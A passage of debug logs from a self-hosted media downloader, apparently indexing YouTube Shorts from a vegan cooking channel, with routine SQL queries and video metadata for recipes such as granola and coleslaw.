s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:00.832 [debug] QUERY OK source="media_items" db=2.6ms idle=1006.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-25 00:01:25Z], 1] 20:30:00.835 [debug] QUERY OK source="media_items" db=2.1ms idle=393.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["You will absolutely love this easy granola recipe for your yogurt parfaits or to pour a bit of your favourite plant-based milk over. Meal prep a whole batch of this for your week to make morning breakfasts and snack time way easier.\n\nFull Recipe Video Here: https://youtu.be/QGipOq83NUQ", "Easy Granola Recipe for Breakfast or Snack Meal Prep for the Week - Orange Cacao Granola #shorts", "0581b52e-999d-45a9-9d90-dcb67e6f27c5", 1, [], 60, false, "72MEU77fQoQ", "https://www.youtube.com/shorts/72MEU77fQoQ", 425, "/downloads/downloads/alec/Steamy Vegan/2022-05-25 Easy Granola Recipe for Breakfast or Snack Meal Prep for the Week - Orange Cacao Granola #shorts/Easy Granola Recipe for Breakfast or Snack Meal Prep for the Week - Orange Cacao Granola #shorts [72MEU77fQoQ].NA", false, false, true, 3, ~U[2022-05-25 00:01:25Z], ~U[2026-03-22 03:30:00Z], ~U[2026-03-22 03:30:00Z], "You will absolutely love this easy granola recipe for your yogurt parfaits or to pour a bit of your favourite plant-based milk over. Meal prep a whole batch of this for your week to make morning breakfasts and snack time way easier.\n\nFull Recipe Video Here: https://youtu.be/QGipOq83NUQ", "Easy Granola Recipe for Breakfast or Snack Meal Prep for the Week - Orange Cacao Granola #shorts", 1, 60, false, "72MEU77fQoQ", "https://www.youtube.com/shorts/72MEU77fQoQ", "/downloads/downloads/alec/Steamy Vegan/2022-05-25 Easy Granola Recipe for Breakfast or Snack Meal Prep for the Week - Orange Cacao Granola #shorts/Easy Granola Recipe for Breakfast or Snack Meal Prep for the Week - Orange Cacao Granola #shorts [72MEU77fQoQ].NA", true, ~U[2022-05-25 00:01:25Z]] 20:30:00.836 [debug] QUERY OK source="sources" db=0.4ms idle=297.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:00.836 [debug] QUERY OK source="media_profiles" db=0.6ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:00.838 [debug] QUERY OK source="media_items" db=0.8ms idle=7.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [814] 20:30:00.838 [debug] Current batch of media processed. Will check again in 1000ms 20:30:01.840 [debug] Current batch of media processed. Will check again in 1000ms 20:30:02.842 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This easy vegan and gluten-free tofu egg salad is perfect as a sandwich or on top of greens. You absolutely must try this vegan egg salad at your next BBQ or just pack it for your work lunch. It only takes a few minutes to make!\n\nFull Recipe Video Here: https://youtu.be/W3HgjDni794", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-24 The Perfect Vegan Tofu Egg Salad #shorts/The Perfect Vegan Tofu Egg Salad #shorts [Zw48lf5NCL8].NA", "id" => "Zw48lf5NCL8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Zw48lf5NCL8", "playlist_index" => 426, "timestamp" => 1653422015, "title" => "The Perfect Vegan Tofu Egg Salad #shorts", "upload_date" => "20220524"} 20:30:02.845 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=264.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:02.851 [debug] QUERY OK source="sources" db=5.1ms idle=261.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:02.858 [debug] QUERY OK source="media_items" db=5.7ms queue=0.9ms idle=267.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-24 19:53:35Z], 1] 20:30:02.863 [debug] QUERY OK source="media_items" db=4.1ms idle=274.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This easy vegan and gluten-free tofu egg salad is perfect as a sandwich or on top of greens. You absolutely must try this vegan egg salad at your next BBQ or just pack it for your work lunch. It only takes a few minutes to make!\n\nFull Recipe Video Here: https://youtu.be/W3HgjDni794", "The Perfect Vegan Tofu Egg Salad #shorts", "48c057f9-63a6-4dbe-aa7c-1ea833b2c9db", 1, [], 59, false, "Zw48lf5NCL8", "https://www.youtube.com/shorts/Zw48lf5NCL8", 426, "/downloads/downloads/alec/Steamy Vegan/2022-05-24 The Perfect Vegan Tofu Egg Salad #shorts/The Perfect Vegan Tofu Egg Salad #shorts [Zw48lf5NCL8].NA", false, false, true, 0, ~U[2022-05-24 19:53:35Z], ~U[2026-03-22 03:30:02Z], ~U[2026-03-22 03:30:02Z], "This easy vegan and gluten-free tofu egg salad is perfect as a sandwich or on top of greens. You absolutely must try this vegan egg salad at your next BBQ or just pack it for your work lunch. It only takes a few minutes to make!\n\nFull Recipe Video Here: https://youtu.be/W3HgjDni794", "The Perfect Vegan Tofu Egg Salad #shorts", 1, 59, false, "Zw48lf5NCL8", "https://www.youtube.com/shorts/Zw48lf5NCL8", "/downloads/downloads/alec/Steamy Vegan/2022-05-24 The Perfect Vegan Tofu Egg Salad #shorts/The Perfect Vegan Tofu Egg Salad #shorts [Zw48lf5NCL8].NA", true, ~U[2022-05-24 19:53:35Z]] 20:30:02.864 [debug] QUERY OK source="sources" db=1.0ms idle=279.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:02.868 [debug] QUERY OK source="media_profiles" db=3.0ms idle=20.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:02.873 [debug] QUERY OK source="media_items" db=1.2ms idle=21.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [815] 20:30:02.875 [debug] Current batch of media processed. Will check again in 1000ms 20:30:03.877 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Feeling a bit icky? Try this DETOX GREEN SMOOTHIE! 🌱 Your body will thank you ☺️ \n\nThe Mojito’s healthier cousin boasts tons of vitamin C and iron (a winning combo for nutrient absorption, btw 😉) she will energize and cleanse you from the inside out. \n\nINGREDIENTS \n1.5 cups water or unsweetened plant milk \n2 cups kale or spinach \n1/2 cup mint leaves \n1 green apple, unpeeled \nJuice of 1 lime \n1/2 cucumber \nA few ice cubes \nHandful frozen mango\n\nSip, sip, hooray 😁 \n\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #healthysmoothie #detoxjuices #greensmoothiesrecipe #easyveganrecipes #lazyveganfood", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-24 Get your glow on and drink this Detox Green Smoothie! 🌱/Get your glow on and drink this Detox Green Smoothie! 🌱 [uViUJpV_b-8].NA", "id" => "uViUJpV_b-8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/uViUJpV_b-8", "playlist_index" => 427, "timestamp" => 1653403981, "title" => "Get your glow on and drink this Detox Green Smoothie! 🌱", "upload_date" => "20220524"} 20:30:03.880 [debug] QUERY OK source="sources" db=0.9ms queue=1.2ms idle=1014.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:03.882 [debug] QUERY OK source="sources" db=1.6ms idle=1015.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:03.905 [debug] QUERY OK source="media_items" db=15.9ms queue=7.0ms idle=1014.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-24 14:53:01Z], 1] 20:30:03.927 [debug] QUERY OK source="media_items" db=20.6ms idle=1032.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Feeling a bit icky? Try this DETOX GREEN SMOOTHIE! 🌱 Your body will thank you ☺️ \n\nThe Mojito’s healthier cousin boasts tons of vitamin C and iron (a winning combo for nutrient absorption, btw 😉) she will energize and cleanse you from the inside out. \n\nINGREDIENTS \n1.5 cups water or unsweetened plant milk \n2 cups kale or spinach \n1/2 cup mint leaves \n1 green apple, unpeeled \nJuice of 1 lime \n1/2 cucumber \nA few ice cubes \nHandful frozen mango\n\nSip, sip, hooray 😁 \n\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #healthysmoothie #detoxjuices #greensmoothiesrecipe #easyveganrecipes #lazyveganfood", "Get your glow on and drink this Detox Green Smoothie! 🌱", "e60f137e-2e18-4faf-ba0b-73d4a56db466", 1, [], 60, false, "uViUJpV_b-8", "https://www.youtube.com/shorts/uViUJpV_b-8", 427, "/downloads/downloads/alec/Steamy Vegan/2022-05-24 Get your glow on and drink this Detox Green Smoothie! 🌱/Get your glow on and drink this Detox Green Smoothie! 🌱 [uViUJpV_b-8].NA", false, false, true, 1, ~U[2022-05-24 14:53:01Z], ~U[2026-03-22 03:30:03Z], ~U[2026-03-22 03:30:03Z], "Feeling a bit icky? Try this DETOX GREEN SMOOTHIE! 🌱 Your body will thank you ☺️ \n\nThe Mojito’s healthier cousin boasts tons of vitamin C and iron (a winning combo for nutrient absorption, btw 😉) she will energize and cleanse you from the inside out. \n\nINGREDIENTS \n1.5 cups water or unsweetened plant milk \n2 cups kale or spinach \n1/2 cup mint leaves \n1 green apple, unpeeled \nJuice of 1 lime \n1/2 cucumber \nA few ice cubes \nHandful frozen mango\n\nSip, sip, hooray 😁 \n\n\n#steamyvegankitchen #steamyvegan #vancouvervegan #yvrvegan #vancityvegan #whatscooking #veganeats #vegan #veganshare #veganfoodshare #veganfood #veganrecipes #glutenfree #glutenfreevegan #plantbased #plantbasednutrition #veganfoodporn #veganfoodie #eatplants #vegancuisine #veganaf #easyvegan #glutenfreedairyfree #healthysmoothie #detoxjuices #greensmoothiesrecipe #easyveganrecipes #lazyveganfood", "Get your glow on and drink this Detox Green Smoothie! 🌱", 1, 60, false, "uViUJpV_b-8", "https://www.youtube.com/shorts/uViUJpV_b-8", "/downloads/downloads/alec/Steamy Vegan/2022-05-24 Get your glow on and drink this Detox Green Smoothie! 🌱/Get your glow on and drink this Detox Green Smoothie! 🌱 [uViUJpV_b-8].NA", true, ~U[2022-05-24 14:53:01Z]] 20:30:03.943 [debug] QUERY OK source="sources" db=15.5ms queue=0.1ms idle=334.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:03.944 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=63.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:03.953 [debug] QUERY OK source="media_items" db=7.5ms idle=63.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [816] 20:30:03.953 [debug] Current batch of media processed. Will check again in 1000ms 20:30:04.955 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This vegan, dairy-free, and gluten-free coleslaw will impress all diet types and wow everyone at your next BBQ. Watch the full extended episode where I get my husband to taste test this coleslaw and this is a man who doesn't like coleslaw, so we'll see how that goes. \n\nFull Video: https://youtu.be/GeIpl55gWt8", "duration" => 60, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-05-23 The Best Coleslaw For BBQ Season Made Vegan, Dairy-Free and Gluten-Free #shorts/The Best Coleslaw For BBQ Season Made Vegan, Dairy-Free and Gluten-Free #shorts [TGqTlieRlos].NA", "id" => "TGqTlieRlos", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/TGqTlieRlos", "playlist_index" => 428, "timestamp" => 1653348236, "title" => "The Best Coleslaw For BBQ Season Made Vegan, Dairy-Free and Gluten-Free #shorts", "upload_date" => "20220523"} 20:30:04.960 [debug] QUERY OK source="sources" db=4.5ms idle=1028.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:30:04.966 [debug] QUERY OK source="sources" db=5.7ms idle=1016.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:04.982 [debug] QUERY OK source="media_items" db=15.0ms queue=0.8ms idle=1021.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-23 23:23:56Z], 1] 20:30:04.993 [debug] QUERY OK source="media_items" db=9.7ms idle=1030.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This vegan, dairy-free, and gluten-free coleslaw will impress all diet types and wow everyone at your next BBQ. Watch the full extended episode where I get my husband to taste test this coleslaw and this is a man who doesn't like coleslaw, so we'll see how that goes. \n\nFull Video: https://youtu.be/GeIpl55gWt8", "The Best Coleslaw For BBQ Season Made Vegan, Dairy-Free and Gluten-Free #shorts", "4471a77b-2fc4-472c-b598-fddbcc1d5d64", 1, [], 60, false, "TGqTlieRlos", "https://www.youtube.com/shorts/TGqTlieRlos", 428, "/downloads/downloads/alec/Steamy Vegan/2022-05-23 The Best Coleslaw For BBQ Season Made Vegan, Dairy-Free and Gluten-Free #shorts/The Best Coleslaw For BBQ Season Made Vegan, Dairy-Free and Gluten-Free #shorts [TGqTlieRlos].NA", false, false, true, 1, ~U[2022-05-23 23:23:56Z], ~U[2026-03-22 03:30:04Z], ~U[2026-03-22 03:30:04Z], "This vegan, dairy-free, and gluten-free coleslaw will impress all diet types and wow everyone at your next BBQ. Watch the full extended episode where I get my husband to taste test this coleslaw and this is a man who doesn't like coleslaw, so we'll see how that goes. \n\nFull Video: https://youtu.be/GeIpl55gWt8", "The Best Coleslaw For BBQ Season Made Vegan, Dairy-Free and Gluten-Free #shorts", 1, 60, false, "TGqTlieRlos", "https://www.youtube.com/shorts/TGqTlieRlos", "/downloads/downloads/alec/Steamy Vegan/2022-05-23 The Best Coleslaw For BBQ Season Made Vegan, Dairy-Free and Gluten-Free #shorts/The Best Coleslaw For BBQ Season Made Vegan, Dairy-Free and Gluten-Free #shorts [TGqTlieRlos].NA", true, ~U[2022-05-23 23:23:56Z]] 20:30:04.998 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=389.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:30:05.007 [debug] QUERY OK source="media_profiles" db=1.7ms queue=1.6ms idle=43.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:30:05.016 [debug] QUERY OK source="media_items" db=3.9ms idle=45.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [817] 20:30:05.019 [debug] Current batch of media processed. Will check again in 1000ms 20:30:06.021 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "If you haven't tried this incredible food pairing of potato chips and chocolate then you must at least once in your life. In our full video we try 10 food pairings that the internet says are amazing and rate them on a weird and wacky 10 point scale. Some are absolutely disgusting and others are incredible and you must try at least once. \n\nFull Video: https://youtu.be/49F_nas-o7o", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy 